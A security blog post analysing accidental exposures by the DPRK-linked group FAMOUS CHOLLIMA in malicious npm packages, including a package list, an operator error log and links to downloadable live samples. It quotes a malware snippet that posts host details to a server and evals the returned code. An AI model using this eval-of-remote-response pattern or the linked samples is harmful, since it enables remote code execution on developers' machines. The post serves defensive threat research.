kmsec.uk

(mainly) a security blog


Exposed DPRK reference malware and logs

javascriptmalwarenpmdprk

The LNK file mentioned in part 1 is not the only operational security (opsec) mishap by FAMOUS CHOLLIMA (hence why it’s part 1 and this is part 2). In fact there are many before and after these events but I’m tackling them in the order they appear in my brain.

Below I disclose two historical accidental exposures in brief. As before, this isn’t exactly actionable intelligence, but colourful detail for those who are tracking FAMOUS CHOLLIMA closely like me.

Summary

  • Two exposed files reveal FAMOUS CHOLLIMA’s operational procedures
  • Firstly, an ordinary.txt JavaScript source file that was exposed from July-September 2025, likely used as a reference point before modification and obfuscation
  • Secondly, a log file that reveals the OS and username of a FAMOUS CHOLLIMA operator: Windows and dvant, respectively

ordinary.txt

Several packages published from July to September 2025 contain the same ordinary.txt file:

nameversionreleasedmaintaineremail
vite-postcss-nested0.0.22025-07-15 12:05:01vladislavkarniushkavladkashka56[@]gmail.com
vite-postcss-bootstrap0.0.42025-07-16 04:36:24hmaxhmax23410[@]gmail.com
vite-postcss-helper3.0.42025-07-17 16:58:01goldenrhynogoldenrhynodev[@]gmail.com
vite-postcss-kit3.0.52025-07-21 11:27:40suhkuv.competition.telsuhkuv.competition.tel[@]gmail.com
vite-mobcss-log0.3.22025-08-04 05:33:08jeffbennett862jeffbennett862[@]gmail.com
vite-plugin-uni-i18n1.0.22025-08-25 13:11:03jeffbennett862jeffbennett862[@]gmail.com
vite-jsconfig0.3.22025-09-06 04:58:57thiago_chiagorealonlinethiago[@]gmail.com
vite-jsconfig0.3.32025-09-06 05:04:34thiago_chiagorealonlinethiago[@]gmail.com
dragon0905-vite-tsconfig-assistant1.0.32025-09-18 13:18:03dragon0905reichenausteve[@]gmail.com
vite-tsconfig-assistant1.0.32025-09-18 01:47:11wonderful123aidanphillips721[@]gmail.com
Note

Do you want to see these packages for yourself? Download the package tgz files from my research site!

https://dprk-research.kmsec.uk/api/tarfiles/{package_name}/{package_version}

for example: https://dprk-research.kmsec.uk/api/tarfiles/vite-tsconfig-assistant/1.0.3

ordinary.txt is a small JavaScript source file. You can download it from my research site:

https://dprk-research.kmsec.uk/api/samples/dcde20e9104c953246a379a54c2292e49add6601c77898972fd37912c985f470

I won’t paste the full contents here for brevity — you can view it yourself at the URL above — however I will highlight this snippet:

...
        // axios.post("http://localhost:4444/api/ipcheck", {...synfo, version})
        // .then(r=>{

        //     try {
        //         eval(r.data.cookie);
        //     } catch (err) {
        //         console.log("Sorry, backend server is not working")
        //     }

        //     try {
        //         eval(r.data.control);
        //     } catch (err) {
        //         console.log("Sorry, backend server is updating now")
        //     }
...

What’s apparent is the basic and practical testing going on in this ordinary.txt sample:

This underscores FAMOUS CHOLLIMA’s simple yet effective approach to malware operations.

Curiously, this “ordinary” malware is quite unlike the real payloads in these packages. For example, the real payload in vite-jsconfig simply evaluates remote content from remote endpoints and omits the information gathering or validation steps from ordinary.txt — see https://dprk-research.kmsec.uk/api/samples/c5e75f4641a5add4516c6785c3454160193f9a9eb835d96c9554305702a95911.

The inclusion of this ordinary.txt file is clearly a mistake, but not a huge one. No operational details were exposed aside from the lax testing and development lifecycle.

err.log

On 4 September 2025, npm user pavlo123123 (pavlovainerman[@]gmail.com) uploaded some-promise, a package that derives code from the legitimate any-promise package.

some-promise comes loaded with a malicious postinstall script that launches an embedded obfuscated payload at /register/es-promise/license.list (you can view that sample - chuck it into webcrack.netlify.app to see a partially deobfuscated OTTERCOOKIE sample). But what caught my eye was the presence of an err.log file in the root of the package. It’s qute small so I’ll paste the contents here:

node:internal/modules/cjs/loader:1386
  throw err;
  ^

Error: Cannot find module 'axios'
Require stack:
- C:\Users\dvant\Documents\UR_pavlo\any-promise\register\es-promise\license.js
    at Function._resolveFilename (node:internal/modules/cjs/loader:1383:15)
    at defaultResolveImpl (node:internal/modules/cjs/loader:1025:19)
    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1030:22)
    at Function._load (node:internal/modules/cjs/loader:1192:37)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:237:24)
    at Module.require (node:internal/modules/cjs/loader:1463:12)
    at require (node:internal/modules/helpers:147:16)
    at eval (eval at <anonymous> (C:\Users\dvant\Documents\UR_pavlo\any-promise\register\es-promise\license.js:7:5), <anonymous>:1:6951)
    at C:\Users\dvant\Documents\UR_pavlo\any-promise\register\es-promise\license.js:7:5 {
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    'C:\\Users\\dvant\\Documents\\UR_pavlo\\any-promise\\register\\es-promise\\license.js'
  ]
}

Node.js v22.19.0
node:internal/modules/cjs/loader:1386
  throw err;
  ^

Error: Cannot find module 'axios'
Require stack:
- C:\Users\dvant\Documents\UR_pavlo\any-promise\register\es-promise\license.js
    at Function._resolveFilename (node:internal/modules/cjs/loader:1383:15)
    at defaultResolveImpl (node:internal/modules/cjs/loader:1025:19)
    at resolveForCJSWithHooks (node:internal/modules/cjs/loader:1030:22)
    at Function._load (node:internal/modules/cjs/loader:1192:37)
    at TracingChannel.traceSync (node:diagnostics_channel:322:14)
    at wrapModuleLoad (node:internal/modules/cjs/loader:237:24)
    at Module.require (node:internal/modules/cjs/loader:1463:12)
    at require (node:internal/modules/helpers:147:16)
    at eval (eval at <anonymous> (C:\Users\dvant\Documents\UR_pavlo\any-promise\register\es-promise\license.js:7:5), <anonymous>:1:6951)
    at C:\Users\dvant\Documents\UR_pavlo\any-promise\register\es-promise\license.js:7:5 {
  code: 'MODULE_NOT_FOUND',
  requireStack: [
    'C:\\Users\\dvant\\Documents\\UR_pavlo\\any-promise\\register\\es-promise\\license.js'
  ]
}

Node.js v22.19.0
Note

You can also download the err.log from the DPRK research site! https://dprk-research.kmsec.uk/api/samples/02fa6ff6ea920eb38ab040a2f2debef6d1bd4c4a2ea6684bfa131e773eecc195

This error log reveals a few things:

Assessment

These file exposures aren’t actionable in any meaningful way by defenders, but it does highlight FAMOUS CHOLLIMA’s poor operational security practices.

Despite their simple and sometimes accidentally transparent approach to malware operations, this doesn’t stop them from being an effective and harmful threat actor to the worldwide developer community.

← Back to Blog